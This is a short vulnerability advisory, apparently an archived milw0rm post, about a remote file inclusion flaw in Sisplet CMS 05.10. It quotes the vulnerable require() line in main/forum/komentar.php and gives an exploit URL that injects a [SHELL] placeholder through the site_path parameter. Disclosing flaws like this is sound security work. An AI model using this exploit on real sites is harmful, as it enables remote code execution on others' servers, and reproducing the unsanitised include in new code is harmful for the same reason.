Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:16665
HistoryApr 11, 2007 - 12:00 a.m.

Sisplet CMS <= 05.10 (site_path) Remote File Inclusion Vulnerability

2007-04-1100:00:00
vulners.com
46

Sisplet CMS


Found by kezzap66345 *



Script Download:http://www.sisplet.org/uploadi/editor/Sisplet0504.tar.bz2
https://sourceforge.net/project/showfiles.php?group_id=111881



ERROR#1:
File:main/forum/komentar.php


require($site_path.'main/forum/class.php'); <<< rfi coded


RFI#1:

http://SITE.com/path/main/forum/komentar.php?site_path=[SHELL]



Thanks:Siircicocuk and x0r0n





ThanxSiiRCiCOCUK**str0ke**************************************************

milw0rm.com [2007-04-05]